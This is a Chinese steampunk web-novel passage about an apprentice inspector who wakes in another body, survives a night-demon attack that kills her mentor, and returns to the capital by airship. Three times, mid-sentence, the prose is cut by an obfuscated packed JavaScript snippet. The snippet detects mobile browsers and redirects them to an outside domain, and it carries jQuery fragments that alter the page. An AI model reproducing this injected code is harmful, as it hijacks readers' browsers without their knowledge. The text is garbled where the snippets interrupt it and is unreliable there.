《审查对象已死亡[蒸汽朋克]》 1. 西格林郡 乔伊根本来不及穿衣服。 他裹着床单,跌跌撞撞地摔下后窗,赤着双脚踩在后院潮湿的泥土上。 他的情妇、西格林郡治安官的妻子安妮急匆匆地朝窗外张望,红棕色卷发凌乱地披散在她汗湿的面颊上——也就是她,刚刚听见正门的轻微声响,情急之下把乔伊推下了后窗。 该死的。 乔伊愤怒地暗骂,扯了扯身上薄薄的床单,又纳闷本该守夜的治安官为什么会忽然回家。 ——难不成他早就起了疑心? 乔伊的后背逐渐起了一层冷汗,夜风吹过,便又浮了一层鸡皮疙瘩。 不,不是夜风! 下一秒,飞艇的轰响降临在西格林郡上空。 鼓胀的鱼形球体,像是下一秒会爆裂炸开,从铁色云层中直冲而下,直指护卫队高塔而去。玫瑰与金狮勋纹被印在飞艇上,即便乔伊是西格林郡的普通园丁,也能认得出这是王室的徽章。 是国民卫队! 乔伊颤巍巍地缩在角落,缩在他白天刚刚修剪过的灌木之下,冰冷的湿意从脚下逐渐蔓延。 他轻轻挪了一下,却发觉脚下根本不是潮湿的水汽,而是仙人掌汁一般的粘液! 这是什么东西? 他拿手指沾了一点,发现比想象中还要滑腻,像是抓着潮湿的肥皂。 “啊——” 窗口忽然传出安妮的惨叫。 乔伊寻声望过去。 治安官安德鲁大人掐着安妮的脖子,让她上半身完全悬空于窗外,火焰般的长发在空中飘摇着,像是沙滩上晾晒过久的海草,逐渐暗淡无光。 “我这么信任你!” 安德鲁瞪着这个只有自己一半岁数的漂亮女人,眼白里的血管一道一道爆裂,如同沾上了新鲜的血液。 早在结婚时,安德鲁就听见过城内的风言风语,说他的新婚妻子并不如表面看起来那么纯情。 他本该相信的! 安妮用染着翠羽花汁的浅绿色指甲使劲抠着安德鲁的手背,尖锐的指甲划在他粗砺黝黑的皮肤上,只留下一道浅浅的白色抓痕。 反倒是她的脖子,被她自己抓得鲜血淋漓。 该死的! 安妮眼前逐渐黑了,就像是极寒日的夜晚,就连星光也消失不见的那个夜晚。 下一秒,浓稠得有些发臭的粘液从她身体里涌出! 安妮的嘴巴不自然地张大,几乎占据了她半个面孔,嘴角因汩汩粘液而被撑裂,血液瞬间淌出,又在一瞬间被粘液吞没! 这一次,她的惨叫凄厉且恐惧。 ——却被飞艇引擎的巨大轰鸣彻底掩盖。 == 谁在尖叫? 林恩·亨特猛地惊醒。 就像是刚刚从一场幻梦中清醒,头晕目眩还残存着破碎的记忆,她的胳膊撑在餐桌上,努力保持着平衡。 邻座,灰白色头发的男人缓缓开口: “从没有人真的见过夜魔,西格林郡的治安官把我们叫来,是一件荒唐的事情。” 他鹰隼般的目光扫过餐桌上的剩余几人,嘴角皱纹撇了撇,又看向对面的治安员丹尼斯,目光在她深蓝制服上的四瓣玫瑰上扫了一眼。 “你们的治安官呢,为什么不来?” 丹尼斯抿唇,焦急地给伙计递了眼神,又向这位远道而来的国民卫队审查官辩解道: “安德鲁治安官身体忽然抱恙,康纳利先生,实在抱歉。” “哼,抱歉?” 康纳利眯起眼,似笑非笑地看着丹尼斯,又嗤笑一声。 “或许你是该抱歉。”他咕哝。 热菜被端了上来。 鲜甜的蘑菇用上好的黄油煎烤成焦黄色,银餐刀轻轻划开,饱满的汁水顺着刀尖淌向两侧。 康纳利用叉子送进口中,满意地点点头,又拿起面包片蘸上蘑菇汁吞下去。 这会儿,他才注意到未动一口的林恩。 “林恩,你怎么回事?”康纳利问。 林恩总算是抬起头。 她端详着这张显然陌生的面孔,一股未曾有过的恐惧瞬间袭来。眼前被称作“康纳利审查官”的老男人,通身散发着隐隐血气,直觉让林恩警觉起来。 她看了看身边的娃娃脸男孩,又垂头看了看自己的餐盘,冷汗逐渐冒了出来。 “我有些想要呕吐。”她说。 “快去吧。”康纳利审查官对自己的学生很是善良。 他挥了挥手,立刻有机灵的伙计把林恩带去她的临时卧房。 “这身体。”康纳利看着林恩的背影,不咸不淡地评价,“查理,你不要和她一样。” 娃娃脸的审查官学徒查理“嗯”了一声,出于同学情谊又帮林恩说了句好话。 “大概是今天中午吃的鱼肉有些奇怪。”他说。 == 林恩关上房门。 她把整个身体靠在冰冷的黄铜把手上,终于有机会喘息。 她捂着胸口,用力地呼出几口气,终于让酸胀的胸闷感消失一些。 只不过,暗金色带花纹的墙纸、昏暗的只有煤油灯的房间还是带来压迫的窒息感。 林恩深吸一口气。 这不是她熟悉的陈设,也不是她熟悉的年代。 她扫视了一遍卧房。 兴许是特意给客人准备的房间,其实屋子里陈设并不多。黄铜床架的小床上堆满了松软的被子和毯子;深木色的巨大衣柜上,雕刻着复杂的花纹;置物架没有一处是空的,摆满了精美的瓷器与石膏像。 角落还有个小摆钟,正在滴答作响。 林恩的视线终于锁定在深红色波斯地毯上的牛皮行李箱上。 这大概是“她”的东西。 或许,这里面藏了更多信息。 “林恩?” 门板轻轻颤动,门外传来急促的呼喊。 林恩的脚步拐了个弯,径直走进盥洗室。 黄铜制成的水龙头,一左一右分别控制冷热水,制成了花瓣形状。 林恩随手拧开一个,又用双手接住哗哗的水流,猛地扑在自己脸上。 下一秒,门被打开。 查理的声音有些焦急,“林恩,出事了!” 他湛蓝色的眼珠盯着面色惨白的林恩,口中的催促忽然迟疑了一下,声音也随之变软:“康纳利老师让我来喊你,我们都得去。” 林恩抬起头,随手拿起旁边的毛巾,目光盯着面前的镜子,瞳孔紧缩。 面孔上满是水迹,镜中的女孩黑发黑眸,和原本的她长相肖似,骨骼轮廓却分明是个外国人! 这不是她的身体! ——不过现在,必须要解燃眉之急。 林恩举起毛巾,慢条斯理地把水擦干。 “是出了什么事吗?” “西格林郡的治安官…死了!” 查理慌乱地说。 == 林恩登上马车。 这是西格林郡护卫队提供的交通工具,由四匹钢铁拼接的“马”组成,马口中衔着铜环,正汹涌地吐出滚烫的水汽。 蒸汽朋克。 林恩的脑袋里瞬间蹦出这几个字。 端坐在车内的康纳利审查官睁开他灰蓝色的眼睛,目光由上而下地扫视了一遍林恩。 他的目光像是尖刀,几乎划破林恩的皮肤。 “林恩,你衣服没穿好。” 林恩慌忙垂头,抚了抚纯白色的审查官学徒制服。 与本地治安队的刺绣不同,她制服的左胸绣着金狮图样,下方有一串荆棘—— 这是国民卫队的着装。 “小心点,林恩。” 康纳利审查官的声音透着莫名的冷酷,“你今天很古怪。” 光凭他的语气,林恩分辨不出康纳利审查官的情绪。 他苍老瘦削的面孔,躲藏在马车顶盖的阴影里。月光从窗口渗进来,狭长光斑落在他的手指上,就像是捏着一柄短剑。 林恩的心沉了沉。 出于直觉,她觉得康纳利审查官应当是知道了什么。 她没有证据。 但他也没有。 林恩垂下眼睑,近乎绝望地抠了抠自己的手指。 一切都发生得太快了。 她只记得自己攥着手柄玩游戏,尸兽的面孔积压在屏幕上,把林恩吓得一激灵。 而下一秒,她就来到了这里。 她希望这是荒诞的梦境,但一切又如此真实。 并且她敢保证,康纳利审查官绝对能轻而易举地杀掉自己。 ——就像切割一片落叶。 林恩深吸一口气,又缓慢地吐了出来,迎着康纳利审视的目光望向窗外。 铁蹄踏在黄土地上,尘土飞扬的小径连接着逼仄的小城,远方都是低矮的土黄色楼房,丁点灯火也无。 就好像,城市已经死亡。 == 查理说的没错,治安官的确已经死了。 林恩跟在康纳利审查官身后,手里帮忙攥着他的乌木手杖。 即便是深夜的外勤,他还是坚持拿着他的手杖,并声称这是一种“仪式”。 “他只是为了炫耀他手杖上的昂贵红宝石。”查理凑近说,“这是康纳利家族的财富象征。” 林恩耸肩,“如果我是你,我应当会注意到他正在瞪你。” 她特意使用了没礼貌的“他”,而不是其他称谓。 天知道,过去的林恩究竟是怎么称呼康纳利审查官的。 “闭嘴。”康纳利的面孔黑了一度。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203958|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查理惶恐:“抱歉,老师。” “查理,跟我一起检查尸体。”康纳利审查官不计前嫌地吩咐下来,视线又落在林恩身上,“林恩待命。” 治安官安德鲁是个身高近两米的壮硕男人。 康纳利审查官只用了一只手就把他翻了个身,几乎没费什么力气。 他戴着白手套,仔细检查着安德鲁的身体,最终意识到此人没有任何外伤。 “他是被吓死的。” 他下了结论,刚想伸手要回手杖,却发现林恩和手杖一起消失了。 “林恩私自跑去哪里了?”他不由分说地发了通火。 治安员纷纷垂下头,不敢发出声响。 “老师,治安官怎么可能被吓死?”查理分散着他的注意力,“是遇到什么事了吗?” 康纳利哼了一声,没有回答。 只有康纳利知道自己的慌乱。 这么多年的服役生涯,他从没遇到过这么荒唐的事情: 离奇死亡的治安官、发送给国民卫队的求救…… 难不成……真的是夜魔? 不,不会的。 康纳利的畏惧一闪而过,随后斩钉截铁地否决了这个可能性。 没有人见过夜魔,从没有人! 他必须相信国民卫队的情报。 == 林恩这次是真的想呕吐。 她冲进一楼的盥洗室,打开水龙头,胃像是被打了个结,一阵一阵抽痛。 “呕——” 林恩吐了出来。 水池里掉落了一团黑色的果冻状粘液。 这是她胃里的东西。 林恩来不及反应,黑色粘液已被水流冲进黑洞洞的下水道。 她汗毛直立。 那种粘稠的触感,却仍旧附着在她的食道上,紧紧地贴合着,就像是癞蛤蟆身上的脓疮。 林恩把手指塞进喉咙,紧紧地压住舌根。 这次,吐出来的都是黄绿色的胃酸。 “簌簌。” 浴帘背后,忽然发出细微的声音。 林恩目光一凛,瞬间抽出匕首,小心翼翼地一点一点挪近。 “刷——” 她一把拉开浴帘。 金棕色短发的男人正蜷缩在墙角。 他身上裹着白色床单,露出光裸的胳膊,恐惧地看着林恩,浑身止不住地颤抖。 林恩的影子被放大成张牙舞爪的恶魔,完全笼罩在男人身上。 他的嘴唇颤抖着,发出微弱的声音。 “啊——” 楼上忽然传来惨叫! 林恩下意识冲出去,却被男人抓住胳膊。 “不……不要去。”他嗫嚅着,“夜……夜魔。是夜魔!” ——从没有人真的见过夜魔。 半小时前,康纳利审查官曾如此笃定地跟丹尼斯说。 林恩听得很清楚。 夜魔。 “你怎么知道夜魔?”林恩的匕首横在男人脖子上,目光冷峻地逼问。 “大家都这么说,我们西格林郡有夜魔出没。”男人浑浑噩噩地解释,“安妮被夜魔附体了,她杀死了安德鲁……她还活着,她还活着!” “安妮?” “安妮是安德鲁的妻子。” “安德鲁?” “治安官,治安官安德鲁。” 林恩的手没有放松。“那你是谁?” “我叫乔伊,是个园丁。” 林恩知道他没有撒谎。 楼上传来乒乒乓乓的声响,似乎正在打斗。 康纳利审查官并非池中物,如果他解决掉了夜魔,那她这个逃兵可就惨了。 林恩自忖。 她干脆地收起匕首,抓上康纳利的手杖。 “我得上去帮忙。” “有条路……有条路可以去安妮的卧室。”乔伊跌跌撞撞地爬出浴缸,“我带你去。” 安妮的卧室? 林恩看着乔伊的狼狈装扮,轻轻挑眉。 仆人房衣橱里的暗门可以直接通向二楼。 想来,面前这位年轻男子就是这么与女主人偷情的。 林恩思索着,轻轻跟在乔伊身后。 空气中残留着一股腥臭味,像是把腐烂的鱼埋进泥土里,发酵出来的气味。 林恩一阵作呕,胃中翻腾着滚烫的粘稠感。 她不得不扯着衣角,严严实实地捂住自己的口鼻。 “你为什么要跟过来?”她忽然问。 “我不敢一个人呆着,审查官大人。”乔伊低声说,“我宁愿跟别人一起死。” 爬上狭窄到只能侧身通过的陡峭楼梯,面前又是一道暗门。 “我就不进去了。”乔伊说,“里面就是安妮的卧室。” 2. 幸存夜 安妮的衣柜里挂满了层层叠叠的纱裙,像是绵软的树丛。 在窸窸窣窣的织物摩擦声中,林恩总算是摸到了一道缝。 “向女神祈佑——” 康纳利审查官凄厉的怒号穿透木板,恶狠狠的钻进林恩耳道里。 在他怒吼之下,煤油灯的玻璃罩噼里啪啦地破碎,坠落在地板上。 林恩推橱门的手僵在原处,无法动弹。 “——回归暗界!!” 康纳利审查官的手杖顶端,红宝石忽然发出浓烈的光芒。 光芒愈盛,手杖便愈发滚烫,林恩瞬间撒手,那手杖便径直飞出衣柜! 屋内的煤油灯全灭了。 林恩凑近门缝,一动不动地盯着衣橱外。 康纳利审查官对面,站着黑色的巨大鬼影,红宝石的巨大光芒也无法照亮它。 它吞噬掉了一切光亮。 夜魔。 林恩忽然意识到这个名字的来历。 它属于黑夜,会吞噬每一道亮光。 忽然—— 黑影中露出一道缺口,随后密密麻麻的呓语翻腾出来! 这绝非人世间存在的奇异力量。 无尽的邪恶伴生着呓语,足以让人头晕目眩。 林恩的冷汗瞬间淌了下来。 她忽然开始后知后觉地后悔。 不该上楼的。 在她看来,康纳利审查官绝对没办法应付这个怪物,即便是十个他也无济于事。 夜魔太强大了。 “咔嚓——” 还没等林恩思考完,康纳利审查官的红宝石上就出现一道裂纹。 “不!” 随后,蜘蛛网般的裂痕从内而外蔓延开,如炸弹般爆裂! 康纳利审查官的最后一声惊呼,也掩埋在了无尽的夜色里。 == 林恩并不知道,黑夜是什么时候终结的。 康纳利审查官死了,治安员们死了,查理也死了。 林恩是唯一的幸存者。 不。 还有另一个好运的幸存者。 乔伊的声音颤巍巍地传来,“你还活着吗?审查官大人?” “活着。” 林恩一把将乔伊拽出衣柜,“我们必须商量一下,该怎么解释现在的情况。” 乔伊扯了扯嘴角。 第一道晨曦终于降临在卧室里,他浑身颤抖,似乎是感到寒冷。 “我今夜没来过这里。”他终于开口。 “你没来过这里?” “是的,我不知道治安官府上的任何事情。”乔伊笃定地说,“你也没见过我,审查官大人。” 林恩瞠目结舌地看着乔伊翻窗离开。 他仍裹着那张肮脏的床单,像是灰白色的扑棱蛾子,直奔亮光而去。 == 姗姗来迟的治安员丹尼斯在一楼洗手池边“发现”了林恩。 “大人!”她的声音里满是焦虑,“您……还活着?!” 林恩悠悠转醒。 “我这是怎么了?” 制服被哗哗流淌的水龙头打湿,附着在皮肤上,让林恩不禁打了个寒战。 丹尼斯吩咐手下拿来毛毯,贴心地盖在林恩身上。 “请您节哀。” 她说。 如林恩计划的那样,西格林郡的治安员没有起疑心。 他们把林恩送回了护卫队总部,而丹尼斯则留下来收拾残局。 她原本就是安德鲁的副手,现在替代他成为临时治安官,似乎也是理所应当的。 “审查官,这件事或许得通知国民卫队。”飞艇驾驶员快步走过来,“康纳利审查官的牺牲……这可是大事。” 林恩端详着他,视线轻轻扫过他的黑色制服。 布料普通,走线随意,没有任何刺绣,左胸口袋上歪歪斜斜地别着金属铭牌,刻了“E·M”两个字母。 她终于露出轻蔑的笑。 “这不是你该管的。难不成你也想做我老师?”林恩故作尖酸。 “不,我不是这个意思。”艾迪飞快地摇头,“飞艇上有信鸽,我现在拿给你。” 信鸽? 这么原始? 艾迪快步走向充气到一半的飞艇边。 金色的“白狼号”几个字,正闪着耀眼的光芒。 在得到康纳利审查官的噩耗后,他就立即准备着返回王都,现在来看,只需要三个小时就可以出发。 他不再胡思乱想,从夹层里掏出铁盒,交到林恩手里。 这是……机械信鸽! 黄铜色的仿生信鸽,不知是哪一种合金制成,通体轻薄却结实。 林恩从铁盒里掏出石墨笔与防水纸,手指捏着笔尖—— 该怎么下笔? 该写给谁? 有没有什么特殊的格式? 林恩的迟疑被艾迪看在眼里。 “审查官,您是不是手受伤了?”他问,“需要我代笔吗?” “可以。”林恩瞬间卸下重担,把东西丢给他,“直接汇报就行。” 艾迪的字很小。 【首席审查官大人,康纳利审查官牺牲于西格林郡,需要救援。(林恩)】 这一行字拥挤地堆在一张字条上,随后被卷成紧密的圆柱体,塞进机械信鸽肚子里。 “咔哒。” 艾迪合上鸟喙,并设置了“808”为密码。 “那我寄出去了?”艾迪回头,再次征询林恩的意见。 “嗯。” 他掀开信鸽尾羽,露出一粒笔尖大小的微型发条,正向旋转了几圈后,把信鸽摊开在手心。 机械信鸽的翅膀翕动几下,瞬间腾空而上。 它的动力比林恩预想的强很多,须臾便扎进厚厚的云层中。 “我去收拾东西,准备返回。”林恩收回视线,对艾迪说。 == 经过疲惫的一夜,林恩重新返回这间短暂停留过的卧房,只觉得恍如隔世。 她瘫倒在床上,脚尖踢了踢行李箱。 换制服之前已经大致翻找过了,箱子里只有一本简易的《审查官手册》,其余什么都没有。 在大脑陷入麻木之前,一个念头蹦了出来。 ——或许,查理和康纳利行李里,有一些跟原主相关的物品。 林恩迅速爬起身,把换下来的衣服胡乱塞进行李箱里,又急匆匆地推开隔壁的房门。 查理的行李箱同样随意摊在床上,里头的物品乱七八糟地散落着。 林恩不得不费劲扒拉半天。 她找到了一本查理读书时的笔记本,满满当当地记录着各个学科的详细手札,对一无所知的林恩来说无异于雪中送炭。 康纳利的套房在走廊另一端。 这间套房起码有他们的房间两三倍大,宽敞且温暖,壁炉里的柴火正在发出细微的爆裂声。 林恩无暇关心套房的奢华程度,她直接冲进卧室,找到康纳利的行李箱,仔仔细细翻看起来。 在目睹康纳利使用“魔法”的一瞬间,林恩就意识到,这个世界比自己想象中的复杂许多。 一个朴素的蒸汽朋克世界,本不该有“夜魔”,也不该有“魔法杖”。 而“审查官”,或许也不是一个寻常的职业。 “神母,这里是康纳利审查官的房间。” 伙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203959|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计愉快的嗓音从门外传进来,“您要在这里为审查官祈祷吗?” 林恩一愣,随即变了脸色。 她迅速捡出行李箱内的所有纸质资料,一股脑儿地塞进衣服里,随后四处张望。 除了衣柜,这里没有能躲藏的地方。 即便对衣柜有心理阴影,林恩还是不得不钻了进去,躲藏在黑暗里,放缓了呼吸。 她后知后觉地想,自己或许根本没必要躲。 神母走了进来。 长袍拖地,雪白色的绸缎材质,内衬是鲜红色的天鹅绒,足以抵挡西格林郡的冷风。所有的走线都是金色的,上面绣有玫瑰暗纹,在煤油灯下熠熠闪光。 她眉心画着血红色的菱形,中心镶一颗钻石,年迈的皮肤像是脱了水的苹果,皱巴巴地下垂。 足够醒目的红色,让林恩瞬间联想到康纳利的红宝石手杖。 “全知全能的神, 请赐予他最后的安息… 感谢您的收容, 让漂泊的灵魂不再孤单… 迷途的钟摆, 该回到属于自己的钟面了…” 她的悼词冗长且乏味,林恩耐着性子听了片刻,正昏昏沉沉半梦半醒之际,却发现神母挪动了位置! 她悄无声息站起身,从玻璃碗里抓了些水,随意洒在康纳利床单上。 而后,她竟拨弄起康纳利的行李箱! 她在找什么?! 林恩一怔,下意识地把怀里的书本抱得更紧。 她总觉得,神母想要寻找的东西,大概率已经被她拿走了。 “诶,你不能进来。”伙计在门口喊。 神母缩回了手,立即闭上眼,嘴里念念有词。 “全知全能的神啊…” “是我,艾迪。” 神母睁开眼,嗔怪地瞪着他,“把人支开了?” “是的。”飞艇驾驶员艾迪·穆德点了点头,“我说你需要金盏花水,他回去取了。” “那东西…康纳利没放在行李箱里。”神母低声说,“我不知道他放哪里去了。” 艾迪叹了口气,“想找到他对王室不忠的证据,还真够难的。” 他很快话锋一转,“既然他已经死了,或许我们也不用追究了,不是吗?” 神母有些犹豫,“但国王那边……你能应付吗?” 艾迪的声音相当自信。 “当然,父亲从不会苛责我。” 两人的声音逐渐远去。 林恩狼狈地从衣柜里爬出来。 虽然吃了点苦头,但着实收获不小,从他们的对话中,她能总结出些秘密。 第一,康纳利审查官对国王不忠,并且有足够的证据表明他的叛变。 第二,艾迪是国王的私生子。 第三,艾迪和西格林郡的神母关系相当亲近。 林恩把资料小心藏进她的行李箱里,塞在厚厚的内衣海绵底下。 她发誓,绝不会让艾迪察觉到一星半点破绽。 == 前路茫茫,命运像是蒙着白纱,林恩觉得自己的命途像是颠簸的帆船,被狂风巨浪肆意拍打。 但眼下她也只有一条路: 回到王都。 ——起码不能留在西格林郡。 夜魔没有死,在这里的每个夜晚都不安全,林恩觉得自己不再会有第二次好运,能顺利逃脱夜魔的围堵。 但回到王都、回到国民卫队之后,将面临的腥风血雨,林恩也有心理准备: 她是唯一的幸存者,也是唯一的目击者。 她的记忆,比任何其他东西都要宝贵。 在艾迪和煦的笑容里,林恩登上了飞艇。 3. 飞艇(一) “行程大约多久?”林恩站在驾驶舱外,看着专注忙碌的艾迪,随口问道。 艾迪抬头,高空的飓风把他金色的卷发吹得乱糟糟。 “嗯,大约三天。”他看了眼罗盘,随后估算道。 林恩面无表情地点点头。 艾迪却以为是林恩生气了,便慌忙解释了几句,“我们回去是逆风,所以时间长了一半。” 说着,他举起一份高精度的高空地图,展示给林恩。地图左上角有一行标题,写着“新阿尔卡迪亚王国标准地图”,同时,王都被红圈标注出来。 王都又叫碎金城,位于西格林郡的东南方。 三面环山,一面是海,碎金城的地理位置相当安全,可以抵御外敌的侵入。 林恩瞥了一眼,就瞬间记了个大概,不动声色地挪开眼,看向飞艇之外的辽阔空域。 艾迪只当她无聊了,耐心地给她讲解: “我们正在横跨银湖,这是城邦内最大的湖泊,风景绝佳。” 他探身看了几眼,“不过现在是阴天,云层遮挡住湖面,否则你会看见湖面如鱼鳞一般发光。” 林恩光明正大地狐疑: “你懂的还挺多,都是从哪里学的?” 艾迪垂眸,眼中掠过一丝沮丧,“不像你们读过大学,我是四处游历学来的。” 林恩:“我以为你服过兵役。” 艾迪摇摇头,“没有,我左腿有伤,没办法参军。” 说着,他撩开左裤腿。 艾迪小腿的位置,本该是白色的肌肤,现在却被黄铜色的金属取代。 一片片金属相互拼接,被机械师调整成合适的造型,重新安在他的膝盖之下。 林恩一惊,盯着他的金属小腿发愣。 “这也没什么的,你不用安慰我。”艾迪放下裤脚,轻描淡写地略过自己的苦痛。 林恩睨他,“安慰?你想多了吧。” 她嗤笑一声,“我的安慰要留给牺牲的康纳利审查官和查理。” == 从艾迪那里套不出任何信息。 他本人像是滑不溜秋的鼻涕虫,不仅捉不到,还容易染一手粘液。 林恩返回休息舱,坐在舷窗边的红色软垫上,目不转睛地盯着窗外。 阳光终于出现。 银湖也如艾迪所说的那样,从掀开的云层里反射出耀眼光柱,刺入林恩眼珠里。 她撇开眼,翻看偷窃来的康纳利审查官的日记本。 看样子是价格不菲的日记本,黑色封皮的手感细腻至极,还带着潮湿的水润感。 烫金的圆形鱼纹被印在封面上,似乎带了点烧焦蛋白质的臭气,但味道极淡,不仔细甚至无法分辨。 鱼纹…… 这还是第一次见。 林恩又翻到封底。 皮面上黏糊糊的,手指几乎被牢牢附着上去,似乎曾经粘贴过什么东西。 不过,康纳利审查官小心剥除掉了,上面完全没留下指甲的划痕,或是其他痕迹。 她皱皱眉,不再研究这些。 【2901年8月10日 今天,林恩和查理来报道了。如他所说的那样,这个孩子是好苗子,我相信我可以教育好她。 我让他们喊我“老师”。我喜欢这个称呼。】 【2902年1月10日 …… 或许是我做错了。 女神在上,求您宽恕我的错误。 不,不能让林恩成为信徒,只有我一个人是信徒,这已经足够了。】 “女神”是谁,“信徒”又是什么。 为什么不能让“她”变成信徒? 从这天起,康纳利开始变得语焉不详,总是使用一些暗语与代号,书写的频率也大大降低了。 光凭这些内容,林恩完全没办法分析出他的意图,只好默默记下来,等待日后的挖掘。 面对一无所获的日记本,林恩忍不住叹口气,随手把它放在书桌上。 她计划着,利用这三天的时间,把查理留下的课业笔记囫囵吞枣地学完。 那场濒临死亡的经历,让她对这个世界产生剧烈的恐惧而非好奇。 她还不想死。 == 碎金城内。 马特走出首席审查官办公室时,胸口血红色玫瑰图案的英雄勋章正在熠熠闪光。 这是国王赐下的,整个城邦的英雄勋章获得者也寥寥无几。 前些天在马场,国王最心爱的黑纹马受了惊,险些把马背上的国王摔下来,是马特冲过去截停了黑纹马。 马特不得不得意起来: 这种事人人都能干,但偏巧那天值勤的人是他。 他歪了歪头,和门口坐着的通信官德莱安打了声招呼。 “通信官,你来找首席汇报情况?” 马特心情舒畅,挑起眉“提点”起德莱安,“首席现在心情不佳,你要小心。” “多谢你的建议。” 已在国民卫队服役三十年的德莱安点点头,以他的资历,完全可以不搭理面前的年轻人。 “…不过我想,首席一会儿会更不高兴的。” 说完这句话,德莱安那张方正的脸上终于露出一点隐晦的得意。 马特的硬牛皮军靴往前踩了两步,忽然急急地停下。 “是出了什么事吗?” 他急切地想知道最新情报。 “事情每天都在发生。”德莱安微笑。 正说话时,学徒带着首席审查官的命令走出来,示意下一个来访者可以进入办公室。 这该死的老东西。 马特看着德莱安走向那扇沉重的金属大门,挤进那道缝隙,不禁恨得牙痒痒。 他一定是在笑话自己,一定! 首席审查官阿曼达·德·波尔坐在办公桌前,她面前堆满了雪花般的文件。 她左手边的架子上,摆着一只精巧的自鸣钟,阿曼达时不时抬眼看一眼时间,随时确认自己的行程。 见德莱安走进来,她点点头,推开椅子站起身。 “您来了,到沙发上坐吧。”阿曼达颇为客气地说道。 学徒端来两杯热气腾腾的黑咖啡,盛放在淡蓝色花纹的白瓷杯里。 白色骨瓷碟子上放着几块方糖,银壶中则是香浓甜美的奶油。 德莱安看都没看,直接把手里的文件递给阿曼达。 “首席,看看这份文件吧。” “您不要喊我首席。”阿曼达接了过去,“您是我的老师。” 德莱安并不打算和她攀亲。 “那都是十年前的事情了,在国民卫队,我得讲规矩。”他说着,拿起一杯热咖啡,嘴唇轻轻地抿了一下,掩饰掉他微妙的得意。 光是扫了一眼,阿曼达努力维持的礼貌表情就一寸一寸龟裂了。 “康纳利死了?” 她几乎是咬牙切齿地说,“怎么可能?!” “情况属实,首席,信息是康纳利的学徒林恩,用飞艇上的机械信鸽寄来的。” 德莱安放下杯子,目光笃定。 “每一只信鸽都是我亲手制作的,绝不会有假。” 阿曼达终于骂出声。 “替身玩偶的事情还没解决,康纳利那边又出了这么大的乱子。” 她右手使劲地攥着那团餐巾,几乎控制不住怒火。 ——她担任首席审查官才两年,遇到的麻烦事可比得上前十年的总和! 德莱安面色终于变了。 “替身玩偶……还没找到吗?”他低声呢喃,“康纳利也是‘信徒’,如果他在, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203960|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大概能帮的上忙。” “可惜他死了,而剩下一个未注册的‘信徒’正潜藏在国民卫队内部,时刻都能使用它的‘替身玩偶’能力,以另一个人的身份重新生活。” 阿曼达抱怨着面临的困局,手指插进头发里,使劲挠了挠。 “康纳利审查官的死……我还得当面和国王汇报,这逃不掉的。” “但是,康纳利的学徒还活着。” 德莱安打破了阿曼达的苦恼,贴心提醒道,“实在不行,只能把林恩卖了。她不过是个没什么背景的学徒。” 阿曼达喉咙动了动。 她很想拒绝这个提议,但目前来看,没有其他更好的办法了。 但阿曼达暂时没有答应下来。她还在犹豫。 “甚至,还可以一石二鸟。”德莱安带着钻石戒指的手指,漫不经心地拨弄着机械信鸽;它刚刚从西格林郡风尘仆仆赶回来。 “她也可以是那个未注册的信徒,不是吗?”德莱安目光抬高,静静地看着阿曼达,“我们现在,只需要一个替罪羊。” 这次,阿曼达果断地拒绝了。 “我一定会找到‘替身玩偶’的。”她说,“康纳利的学徒,我留着另有他用。” == 飞艇上。 不知不觉已渐入黄昏。 林恩咖啡杯几乎空了,深棕色的咖啡渍残留在纯银水杯内壁,看上去有些肮脏。 她皱了皱眉,不再继续饮用咖啡残渣。 天快黑了,即便是已经从夜魔的噩梦中逃脱,林恩仍旧对昨夜的遭遇心怀恐惧。 于是,她伸手打开煤油灯的开关。 台灯“啪嗒”一声亮起,底座一圈人像浮雕投下狭窄的阴影。 林恩心念一动,凑近看浮雕下方的花体阴刻字母,盯了许久总算是识别出来。 “Solvo”—— 索尔沃? 她忽然意识到了什么,飞速地翻开康纳利日记。 【…… 女神在上,保佑一切顺利。 诺克斯,请求您的垂怜。】 林恩摩挲了一下纸页,忽然意识到一个可能性: 西格林郡派遣来的神母口中的“神”,或许和康纳利本人的信仰,并不一致?! 或许,“索尔沃”才是被认定的正神。 算了,纠结这个没有意义。 林恩叹口气,又随手翻了几页,目光忽然凝滞。 原本日记本的空白处,忽然显现出淡黄色的字迹! 刚刚才出现的?! 林恩赶紧抓起来研究,逐页翻阅过去,丝毫不放过任何一点遗漏。 不过—— 这好像是另一种语言,林恩完全没见过。 她看不懂。 甚至不知道是哪种文字。 “审查官,打扰了。” 林恩焦头烂额的时候,门忽然被敲响。 是艾迪。 林恩立即把日记本塞在抱枕底下,又拿起桌上的《审查官手册》,装模作样的摊开。 “进来吧,有什么事情吗?” 